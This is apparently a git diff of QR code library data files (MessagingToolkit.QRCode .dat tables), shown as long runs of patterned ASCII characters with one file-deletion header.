-QRQRQRQROPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<:9:9:9:9656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - -QRQRQRQROPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<:9:9:9:9656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - - - -QRQRQRQROPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;;;;;;<;:9:9:9:9656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - - - -QRQRQRQROPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEDABABABAB?@?@?@?@<;<;<;<;:9:9:9:9656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - - - -QRQRQRQROPOPOPOPMNMNMNMLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@<;<;<;<;:9:9:9:9656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - - - -QRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@<;<;<;<;:9:9:9:9656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - - - -QRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@<;<;<;<;:9:9:9:9656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#       - - - -EEFFGGHH - - 88776655<==>>??@)((''&&%@AABBCCD%$$##""!DEEFFGGHCCBBAA@?--..//0088776655112233444433221155667788SRRQQPPOIIJJKKLL44332211@AABBCCD%$$##""!DEEFFGGH! HIIJJKKL >=<;;::911223344443322115566778800//..--99::;;<<ONNMMLLKMMNNOOPP00//..--DEEFFGGH! HIIJJKKL~~}LMMNNOOP - - 988776655566778800//..--99::;;<<,,++**))==>>??@@ KJJIIHHGQQRRSSTT,,++**))HIIJJKKL~~}LMMNNOOP}||{{zzyPQQRRSST 5443322199::;;<<,,++**))==>>??@@((''&&%%AABBCCDD - - GFFEEDDCUUVVWWXX((''&&%%~~}LMMNNOOP}||{{zzyPQQRRSSTyxxwwvvuTUUVVWWX100//..-==>>??@@((''&&%%AABBCCDD$$##""!!EEFFGGHHCBBAA@?>YYZZ[[\\%%&&$#"! }||{{zzyPQQRRSSTyxxwwvvuTUUVVWWX uttssrrqXYYZZ[[\-,,++**)AABBCCDD$$##""!!EEFFGGHH IIJJKKLL =<;;::99~~}}]]^^__``''(())**yxxwwvvuTUUVVWWX uttssrrqXYYZZ[[\ - - qppoonnm\]]^^__`)((''&&%EEFFGGHH IIJJKKLL~~}}MMNNOOPP - - 88776655||{{zzyyaabbccdd++,,--..uttssrrqXYYZZ[[\ - - qppoonnm\]]^^__` mllkkjji`aabbccd%%&%$#"! IIJJKKLL~~}}MMNNOOPP||{{zzyyQQRRSSTT44332211xxwwvvuueeffgghh//001122qppoonnm\]]^^__` mllkkjji`aabbccdihhggffedeeffggh&''(())*~~}}MMNNOOPP||{{zzyyQQRRSSTTxxwwvvuuUUVVWWXX00//..--ttssrrqqiijjkkll33445566mllkkjji`aabbccdihhggffedeeffggheddccbbahiijjkkl*++,,--.||{{zzyyQQRRSSTTxxwwvvuuUUVVWWXX ttssrrqqYYZZ[[\\,,++**))ppoonnmmmmnnoopp778899:: -ihhggffedeeffggheddccbbahiijjkkla``__^^]lmmnnoop.//00112xxwwvvuuUUVVWWXX ttssrrqqYYZZ[[\\ - - ppoonnmm]]^^__``((''&&%%llkkjjiiqqrrsstt;;AABBCC - eddccbbahiijjkkla``__^^]lmmnnoop - - ]\\[[ZZYpqqrrsst23344556ttssrrqqYYZZ[[\\ - - ppoonnmm]]^^__``llkkjjiiaabbccdd%%&&$#"! hhggffeeuuvvwwxxDDEEFFGGa``__^^]lmmnnoop - - ]\\[[ZZYpqqrrsst YXXWWVVUtuuvvwwx6778899: ppoonnmm]]^^__``llkkjjiiaabbccddhhggffeeeeffgghh''(())**ddccbbaayyzz{{||HHIIJJKK - - ]\\[[ZZYpqqrrsst YXXWWVVUtuuvvwwxUTTSSRRQxyyzz{{|:;;AABBC - - llkkjjiiaabbccddhhggffeeeeffgghhddccbbaaiijjkkll++,,--..``__^^]]}}~~LLMMNNOO YXXWWVVUtuuvvwwxUTTSSRRQxyyzz{{|QPPOONNM|}}~~CDDEEFFGhhggffeeeeffgghhddccbbaaiijjkkll``__^^]]mmnnoopp//001122\\[[ZZYYPPQQRRSSUTTSSRRQxyyzz{{|QPPOONNM|}}~~MLLKKJJIGHHIIJJKddccbbaaiijjkkll``__^^]]mmnnoopp - - \\[[ZZYYqqrrsstt33445566XXWWVVUUTTUUVVWWQPPOONNM|}}~~MLLKKJJI IHHGGFFEKLLMMNNO``__^^]]mmnnoopp - - \\[[ZZYYqqrrsstt XXWWVVUUuuvvwwxx778899:: -TTSSRRQQ]]^^__``MLLKKJJI IHHGGFFE !!""##$EDDCCBBAOPPQQRRS - - \\[[ZZYYqqrrsstt XXWWVVUUuuvvwwxxTTSSRRQQyyzz{{||;;AABBCC - PPOONNMMaabbccdd IHHGGFFE !!""##$EDDCCBBA$%%&&''(A@@??>>=STTUUVVW XXWWVVUUuuvvwwxxTTSSRRQQyyzz{{||PPOONNMM}}~~DDEEFFGGLLKKJJIIeeffgghh !!""##$EDDCCBBA$%%&&''(A@@??>>=())**++,=<<;;::9W]]^^__`TTSSRRQQyyzz{{||PPOONNMM}}~~LLKKJJIIHHIIJJKKHHGGFFEEiijjkkll$%%&&''(A@@??>>=())**++,=<<;;::9,--..//098877665`aabbccdPPOONNMM}}~~LLKKJJII HHGGFFEELLMMNNOO DDCCBBAAmmnnoopp())**++,=<<;;::9,--..//0988776650112233454433221deeffgghLLKKJJII HHGGFFEE!!""##$$DDCCBBAAPPQQRRSS - - @@??>>==qqrrssyy,--..//098877665011223345443322145566778100//..-hiijjkkl HHGGFFEE!!""##$$DDCCBBAA%%&&''((@@??>>==TTUUVVWW <<;;::99zz{{||}}011223345443322145566778100//..-899::;;<-,,++**)lmmnnoop!!""##$$DDCCBBAA%%&&''((@@??>>==))**++,,<<;;::99]]^^__``88776655~~45566778100//..-899::;;<-,,++**)<==>>??@)((''&&%pqqrrssy%%&&''((@@??>>==))**++,,<<;;::99--..//0088776655aabbccdd44332211899::;;<-,,++**)<==>>??@)((''&&%@AABBCCD%$$##""!yzz{{||}))**++,,<<;;::99--..//00887766551122334444332211eeffgghh00//..--~~}}||<==>>??@)((''&&%@AABBCCD%$$##""!DEEFFGGH! ~~}}|}~~--..//008877665511223344443322115566778800//..--iijjkkll !,,++**)){{zzyyss@AABBCCD%$$##""!DEEFFGGH! HIIJJKKL|{{zzyys11223344443322115566778800//..--99::;;<<,,++**))mmnnoopp!""##$$%((''&&%%rrqqppooDEEFFGGH! HIIJJKKL~~}LMMNNOOPsrrqqppo5566778800//..--99::;;<<,,++**))==>>??@@((''&&%%qqrrssyy%&&''(()$$##""!!nnmmllkkHIIJJKKL~~}LMMNNOOP}||{{zzyPQQRRSSTonnmmllk99::;;<<,,++**))==>>??@@((''&&%%AABBCCDD$$##""!!zz{{||}})**++,,- jjiihhggLMMNNOOP}||{{zzyPQQRRSSTyxxwwvvuTUUVVWWX kjjiihhg==>>??@@((''&&%%AABBCCDD$$##""!!EEFFGGHH ~~}}||~~-..//001ffeeddccPQQRRSSTyxxwwvvuTUUVVWWX uttssrrqXYYZZ[[\ - - gffeeddcAABBCCDD$$##""!!EEFFGGHH IIJJKKLL{{zzyyss12233445bbaa``__TUUVVWWX uttssrrqXYYZZ[[\ - - qppoonnm\]]^^__` cbbaa``_EEFFGGHH IIJJKKLL~~}}MMNNOOPPrrqqppoo56677889^^]]WWVVXYYZZ[[\ - - qppoonnm\]]^^__` mllkkjji`aabbccd_^^]]WWVIIJJKKLL~~}}MMNNOOPP||{{zzyyQQRRSSTTnnmmllkk9::;;<<= UUTTSSRR\]]^^__` mllkkjji`aabbccdihhggffedeeffgghVUUTTSSRMMNNOOPP||{{zzyyQQRRSSTTxxwwvvuuUUVVWWXX jjiihhgg=>>??@@A - - QQPPOONN~~}}|`aabbccdihhggffedeeffggheddccbbahiijjkklRQQPPOONQQRRSSTTxxwwvvuuUUVVWWXX ttssrrqqYYZZ[[\\ - - ffeeddccABBCCDDE - - MMLLKKJJ|{{zzyyxdeeffggheddccbbahiijjkkla``__^^]lmmnnoop - - NMMLLKKJUUVVWWXX ttssrrqqYYZZ[[\\ - - ppoonnmm]]^^__``bbaa``__EFFGGHHI IIHHGGFFwvutssrrhiijjkkla``__^^]lmmnnoop - - ]\\[[ZZYpqqrrsst JIIHHGGF~~}}YYZZ[[\\ - - ppoonnmm]]^^__``llkkjjiiaabbccdd^^]]WWVVIJJKKLLMEEDDCCBBqqppoonnlmmnnoop - - ]\\[[ZZYpqqrrsst YXXWWVVUtuuvvwwxFEEDDCCB||{{zzyy]]^^__``llkkjjiiaabbccddhhggffeeeeffgghhUUTTSSRRMNNOOPPQAA;;::99mmllkkjjpqqrrsst YXXWWVVUtuuvvwwxUTTSSRRQxyyzz{{|BAA;;::9xwvutssraabbccddhhggffeeeeffgghhddccbbaaiijjkkllQQPPOONNQRRSSTTU88776655iihhggfftuuvvwwxUTTSSRRQxyyzz{{|QPPOONNM|}}~~98877665rqqppooneeffgghhddccbbaaiijjkkll``__^^]]mmnnoopp - - MMLLKKJJUVVWWXXY 44332211eeddccbbxyyzz{{|QPPOONNM|}}~~MLLKKJJI 54433221nmmllkkjiijjkkll``__^^]]mmnnoopp - - \\[[ZZYYqqrrsstt IIHHGGFF~~}}|YZZ[[\\]!!""##$$00//..--aa``__^^|}}~~MLLKKJJI IHHGGFFE !!""##$100//..-jiihhggfmmnnoopp - - \\[[ZZYYqqrrsstt XXWWVVUUuuvvwwxxEEDDCCBB|{{zzyyx]^^__``a%%&&''((,,++**))]]\[ZYXW IHHGGFFE !!""##$EDDCCBBA$%%&&''(-,,++**)feeddccbqqrrsstt XXWWVVUUuuvvwwxxTTSSRRQQyyzz{{||AA;;::99wvutssrrabbccdde))**++,,((''&&%%WVVUUTTS !!""##$EDDCCBBA$%%&&''(A@@??>>=())**++,)((''&&%baa``__^uuvvwwxxTTSSRRQQyyzz{{||PPOONNMM}}~~88776655qqppoonneffgghhi--..//00SRRQQPPO$%%&&''(A@@??>>=())**++,=<<;;::9,--..//0%^]]\[ZYXyyzz{{||PPOONNMM}}~~LLKKJJII 44332211mmllkkjjijjkkllm11223344ONNMMLLK())**++,=<<;;::9,--..//09887766501122334WWVVUUTT}}~~LLKKJJII HHGGFFEE!!""##$$00//..--iihhggffmnnooppq55667788KJJIIHHG,--..//098877665011223345443322145566778SSRRQQPP HHGGFFEE!!""##$$DDCCBBAA%%&&''((,,++**))eeddccbbqrrssttu99::;;<<GFFEEDDC011223345443322145566778100//..-899::;;<OONNMMLL!!""##$$DDCCBBAA%%&&''((@@??>>==))**++,,((''&&%%aa``__^^uvvwwxxy==>>??@@ CBBAA@?>45566778100//..-899::;;<-,,++**)<==>>??@ KKJJIIHH%%&&''((@@??>>==))**++,,<<;;::99--..//00]]\[ZYXWyzz{{||}AABBCCDD - - =<;;::99899::;;<-,,++**)<==>>??@)((''&&%@AABBCCD - - GGFFEEDD))**++,,<<;;::99--..//008877665511223344WVVUUTTS}~~9::;;<<=,++**))(=>>??@@A(''&&%%$ABBCCDDE - - FFEEDDCC**++,,--;;::9988..//00117766554422334455VUUTTSSR~KJJIIHHG !!"GFFEEDDC"##$$%%&,++**))(QPPOONNM=>>??@@A(''&&%%$ABBCCDDE$##""!! EFFGGHHIBBAA@?>=..//001177665544223344553322110066778899RQQPPOON !!"GFFEEDDC"##$$%%&CBBAA@@?&''(())*(''&&%%MLLKKJJIABBCCDDE$##""!! EFFGGHHI IJJKKLLM -<;;::998223344553322110066778899//..--,,::;;<<==NMMLLKKJ"##$$%%&CBBAA@@?&''(())*?>>==<<;*++,,--.IHHGGFFEEFFGGHHI IJJKKLLM~~}}|MNNOOPPQ - 8776655466778899//..--,,::;;<<==++**))((>>??@@AA JIIHHGGF&''(())*?>>==<<;*++,,--.;::99887.//00112EDDCCBBAIJJKKLLM~~}}|MNNOOPPQ|{{zzyyxQRRSSTTU43322110::;;<<==++**))((>>??@@AA''&&%%$$BBCCDDEE - - FEEDDCCB*++,,--.;::99887.//001127665544323344556A@@??>>=~~}}|MNNOOPPQ|{{zzyyxQRRSSTTUxwwvvuutUVVWWXXY0//..--,>>??@@AA''&&%%$$BBCCDDEE##""!! FFGGHHIIBAA@?>=<.//0011276655443233445563221100/6778899:=<<;;::9|{{zzyyxQRRSSTTUxwwvvuutUVVWWXXY tssrrqqpYZZ[[\\],++**))(BBCCDDEE##""!! FFGGHHIIJJKKLLMM - -;;::9988233445563221100/6778899:/..--,,+:;;<<==> 98877665xwwvvuutUVVWWXXY tssrrqqpYZZ[[\\] - - poonnmml]^^__``a(''&&%%$FFGGHHIIJJKKLLMM~~}}||NNOOPPQQ 776655446778899:/..--,,+:;;<<==>+**))(('>??@@AAB - - -54433221tssrrqqpYZZ[[\\] - - poonnmml]^^__``alkkjjiihabbccdde%%&&'#"! JJKKLLMM~~}}||NNOOPPQQ{{zzyyxxRRSSTTUU33221100:;;<<==>+**))(('>??@@AAB'&&%%$$#BCCDDEEF - 100//..-poonnmml]^^__``alkkjjiihabbccddehggffeedeffgghhi'(())**+~~}}||NNOOPPQQ{{zzyyxxRRSSTTUUwwvvuuttVVWWXXYY//..--,,>??@@AAB'&&%%$$#BCCDDEEF#""!! FGGHHIIJ-,,++**)lkkjjiihabbccddehggffeedeffgghhidccbbaa`ijjkkllm+,,--../{{zzyyxxRRSSTTUUwwvvuuttVVWWXXYY ssrrqqppZZ[[\\]]++**))((BCCDDEEF#""!! FGGHHIIJJKKLLMMN)((''&&%hggffeedeffgghhidccbbaa`ijjkkllm `__^^]]\mnnooppq/0011223wwvvuuttVVWWXXYY ssrrqqppZZ[[\\]] - - oonnmmll^^__``aa''&&%%$#FGGHHIIJJKKLLMMN~~}}||{NOOPPQQR%$$##""!dccbbaa`ijjkkllm `__^^]]\mnnooppq - - \[[ZZYYXqrrssttu34455667ssrrqqppZZ[[\\]] - - oonnmmll^^__``aakkjjiihhbbccddee%%&&''"! JKKLLMMN~~}}||{NOOPPQQR{zzyyxxwRSSTTUUV! `__^^]]\mnnooppq - - \[[ZZYYXqrrssttu XWWVVUUTuvvwwxxy78899::; - -oonnmmll^^__``aakkjjiihhbbccddeeggffeeddffgghhii(())**++~~}}||{NOOPPQQR{zzyyxxwRSSTTUUVwvvuuttsVWWXXYYZ%%&&'\[[ZZYYXqrrssttu XWWVVUUTuvvwwxxyTSSRRQQPyzz{{||};AABBCCD kkjjiihhbbccddeeggffeeddffgghhiiccbbaa``jjkkllmm,,--..//{zzyyxxwRSSTTUUVwvvuuttsVWWXXYYZ srrqqppoZ[[\\]]^'(())**+XWWVVUUTuvvwwxxyTSSRRQQPyzz{{||}POONNMML}~~DEEFFGGHggffeeddffgghhiiccbbaa``jjkkllmm __^^]]\\nnooppqq00112233wvvuuttsVWWXXYYZ srrqqppoZ[[\\]]^ - - onnmmllk^__``aab+,,--../TSSRRQQPyzz{{||}POONNMML}~~LKKJJIIHHIIJJKKLccbbaa``jjkkllmm __^^]]\\nnooppqq - - [[ZZYYXXrrssttuu44556677 srrqqppoZ[[\\]]^ - - onnmmllk^__``aabkjjiihhgbccddeef/0011223 POONNMML}~~LKKJJIIH !HGGFFEEDLMMNNOOP __^^]]\\nnooppqq - - [[ZZYYXXrrssttuuWWVVUUTTvvwwxxyy8899::;; - - onnmmllk^__``aabkjjiihhgbccddeefgffeeddcfgghhiij34455667 - - LKKJJIIH !HGGFFEED!""##$$%DCCBBAA@PQQRRSST - - [[ZZYYXXrrssttuuWWVVUUTTvvwwxxyySSRRQQPPzz{{||}}AABBCCDD kjjiihhgbccddeefgffeeddcfgghhiijcbbaa``_jkkllmmn78899::; - - HGGFFEED!""##$$%DCCBBAA@%&&''(()@??>>==>==<)**++,,-<;;::998]^^__``aSSRRQQPPzz{{||}}OONNMMLL~~KKJJIIHHIIJJKKLLcbbaa``_jkkllmmn -_^^]]\\[nooppqqr - [ZZYYXXWrssttuuvDEEFFGGH@??>>==<)**++,,-<;;::998-..//00187766554abbccddeOONNMMLL~~KKJJIIHH !!GGFFEEDDMMNNOOPP -_^^]]\\[nooppqqr - [ZZYYXXWrssttuuvWVVUUTTSvwwxxyyzHIIJJKKL<;;::998-..//001877665541223344543322110effgghhiKKJJIIHH !!GGFFEEDD""##$$%%CCBBAA@@QQRRSSTT - [ZZYYXXWrssttuuvWVVUUTTSvwwxxyyzSRRQQPPOz{{||}}~LMMNNOOP877665541223344543322110566778890//..--,ijjkkllm !!GGFFEEDD""##$$%%CCBBAA@@&&''(())??>>==<>==<<**++,,--;;::9988^^__``aaSRRQQPPOz{{||}}~ONNMMLLK~KJJIIHHGTUUVVWW] !!""##$0//..--,9::;;<<=,++**))(=>>??@@A(''&&%%$qrrssyyz&&''(())??>>==<<**++,,--;;::9988..//001177665544bbccddeeONNMMLLK~KJJIIHHG !!"GFFEEDDC]^^__``a$%%&&''(,++**))(=>>??@@A(''&&%%$ABBCCDDE$##""!! z{{||}}~**++,,--;;::9988..//0011776655442233445533221100ffgghhiiKJJIIHHG !!"GFFEEDDC"##$$%%&CBBAA@@?abbccdde())**++,(''&&%%$ABBCCDDE$##""!! EFFGGHHI ~~}}||{~..//001177665544223344553322110066778899//..--,,jjkkllmm !!"GFFEEDDC"##$$%%&CBBAA@@?&''(())*?>>==<<;effgghhi,--..//0$##""!! EFFGGHHI IJJKKLLM{zzyyssr223344553322110066778899//..--,,::;;<<==++**))((nnooppqq"##$$%%&CBBAA@@?&''(())*?>>==<<;*++,,--.;::99887ijjkkllm01122334 IJJKKLLM~~}}|MNNOOPPQrqqppoon66778899//..--,,::;;<<==++**))((>>??@@AA''&&%%$$rrssyyzz&''(())*?>>==<<;*++,,--.;::99887.//0011276655443mnnooppq45566778~~}}|MNNOOPPQ|{{zzyyxQRRSSTTUnmmllkkj::;;<<==++**))((>>??@@AA''&&%%$$BBCCDDEE##""!! {{||}}~~*++,,--.;::99887.//0011276655443233445563221100/qrrssyyz899::;;<|{{zzyyxQRRSSTTUxwwvvuutUVVWWXXY jiihhggf>>??@@AA''&&%%$$BBCCDDEE##""!! FFGGHHII~~}}||{{.//0011276655443233445563221100/6778899:/..--,,+z{{||}}~<==>>??@xwwvvuutUVVWWXXY tssrrqqpYZZ[[\\] - - feeddccbBBCCDDEE##""!! FFGGHHIIJJKKLLMMzzyyssrr233445563221100/6778899:/..--,,+:;;<<==>+**))(('~@AABBCCD tssrrqqpYZZ[[\\] - - poonnmml]^^__``abaa``__^FFGGHHIIJJKKLLMM~~}}||NNOOPPQQqqppoonn6778899:/..--,,+:;;<<==>+**))(('>??@@AAB'&&%%$$#DEEFFGGH - - poonnmml]^^__``alkkjjiihabbccdde^]]WWVVUJJKKLLMM~~}}||NNOOPPQQ{{zzyyxxRRSSTTUUmmllkkjj:;;<<==>+**))(('>??@@AAB'&&%%$$#BCCDDEEF#""!! ~~}}||{HIIJJKKLlkkjjiihabbccddehggffeedeffgghhiUTTSSRRQNNOOPPQQ{{zzyyxxRRSSTTUUwwvvuuttVVWWXXYY iihhggff>??@@AAB'&&%%$$#BCCDDEEF#""!! FGGHHIIJ{zzyyssrLMMNNOOPhggffeedeffgghhidccbbaa`ijjkkllm QPPOONNMRRSSTTUUwwvvuuttVVWWXXYY ssrrqqppZZ[[\\]] - - eeddccbbBCCDDEEF#""!! FGGHHIIJJKKLLMMNrqqppoonPQQRRSSTdccbbaa`ijjkkllm `__^^]]\mnnooppq - - MLLKKJJIVVWWXXYY ssrrqqppZZ[[\\]] - - oonnmmll^^__``aaaa``__^^FGGHHIIJJKKLLMMN~~}}||{NOOPPQQRnmmllkkjTUUVVWWX `__^^]]\mnnooppq - - \[[ZZYYXqrrssttu IHHGGFFE~~}}||ZZ[[\\]] - - oonnmmll^^__``aakkjjiihhbbccddee]]WWVVUUJKKLLMMN~~}}||{NOOPPQQR{zzyyxxwRSSTTUUVjiihhggfXYYZZ[[\ - - \[[ZZYYXqrrssttu XWWVVUUTuvvwwxxyEDDCCBBA{{zzyyxw^^__``aakkjjiihhbbccddeeggffeeddffgghhiiTTSSRRQQNOOPPQQR{zzyyxxwRSSTTUUVwvvuuttsVWWXXYYZ feeddccb~~}\]]^^__` XWWVVUUTuvvwwxxyTSSRRQQPyzz{{||}A;;::998vutssrrqbbccddeeggffeeddffgghhiiccbbaa``jjkkllmm PPOONNMMRSSTTUUVwvvuuttsVWWXXYYZ srrqqppoZ[[\\]]^ - - baa``__^}||{{zzy`aabbccdTSSRRQQPyzz{{||}POONNMML}~~87766554qppoonnmffgghhiiccbbaa``jjkkllmm __^^]]\\nnooppqq - - LLKKJJIIVWWXXYYZ srrqqppoZ[[\\]]^ - - onnmmllk^__``aab^]]WWVVUyxxwwvvudeeffgghPOONNMML}~~LKKJJIIH !43322110mllkkjjijjkkllmm __^^]]\\nnooppqq - - [[ZZYYXXrrssttuuHHGGFFEE~~}}||{Z[[\\]]^ - - onnmmllk^__``aabkjjiihhgbccddeefUTTSSRRQuttssrrqhiijjkklLKKJJIIH !HGGFFEED!""##$$%0//..--,ihhggffennooppqq - - [[ZZYYXXrrssttuuWWVVUUTTvvwwxxyyDDCCBBAA{zzyyxwv^__``aabkjjiihhgbccddeefgffeeddcfgghhiijQPPOONNMqppoonnmlmmnnoop !HGGFFEED!""##$$%DCCBBAA@%&&''((),++**))(eddccbbarrssttuuWWVVUUTTvvwwxxyySSRRQQPPzz{{||}};;::9988utssrrqqbccddeefgffeeddcfgghhiijcbbaa``_jkkllmmn -MLLKKJJImllkkjjipqqrrsst!""##$$%DCCBBAA@%&&''(()@??>>==<)**++,,-(''&&%%a``__^^]vvwwxxyySSRRQQPPzz{{||}}OONNMMLL~~77665544ppoonnmmfgghhiijcbbaa``_jkkllmmn -_^^]]\\[nooppqqr - IHHGGFFEihhggffetuuvvwwx%&&''(()@??>>==<)**++,,-<;;::998-..//001]\[ZYXWWzz{{||}}OONNMMLL~~KKJJIIHH !!33221100llkkjjiijkkllmmn -_^^]]\\[nooppqqr - [ZZYYXXWrssttuuvEDDCCBBAeddccbbaxyyzz{{|)**++,,-<;;::998-..//0018776655412233445VVUUTTSS~~KKJJIIHH !!GGFFEEDD""##$$%%//..--,,hhggffeenooppqqr - [ZZYYXXWrssttuuvWVVUUTTSvwwxxyyzA;;::998a``__^^]|}}~~-..//00187766554122334454332211056677889RRQQPPOO !!GGFFEEDD""##$$%%CCBBAA@@&&''(())++**))((ddccbbaarssttuuvWVVUUTTSvwwxxyyzSRRQQPPOz{{||}}~87766554]\\[[ZZY1223344543322110566778890//..--,9::;;<<=NNMMLLKK""##$$%%CCBBAA@@&&''(())??>>==<<**++,,--''&&%%``__^^]]vwwxxyyzSRRQQPPOz{{||}}~ONNMMLLK~43322110YXXWWVVU566778890//..--,9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ode_data.qrv35_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv35_0.dat deleted file mode 100644 index 712d99d..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv35_0.dat +++ /dev/null @@ -1,313 +0,0 @@ -~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgcccdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgcdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWVUVUVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKKKKKKLJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgcdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUVUTSTSTSTSTSTSRQRQRQRQNMNMNMNMKLKLKLKLJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=~}~}~}~}|{{{{{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgcdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSTSTSRQRQRQRQRQRQNMNMNMNMKLKLKLKLJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=~}~}~}~}|{|{|{zyzyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgcdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQRQRQPOPONMNMNMNMKLKLKLKLJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=~}~}~}~}zyzyzyzyzyzyzyxwxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgccccccdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKLKLKLKLJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=~}~}~}~}zyzyzyzyxwxwxwxwxwxwxwvuvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihgfefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKLKLKKKKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=~}~}~}~}zyzyzyzyxwxwxwxwvuvuvuvuvuvuvutststststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutststststststsrqrqrqrqrqpopopoponmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>={{{{{|{|zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqrqrqrqpopopopoponmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>={|{|{|{|zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopopopoponmnmnmnmnmlklklklkjijijijifefefefedcdcccccbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>={|{|{|{|zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmnmnmnmlklklklklkjijijijifefefefecdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>={|{|{|{|zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklklklklkjijijijijifefefefecdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKKKKKLKLJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=<;<;<;<;{|{|{|{|zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqp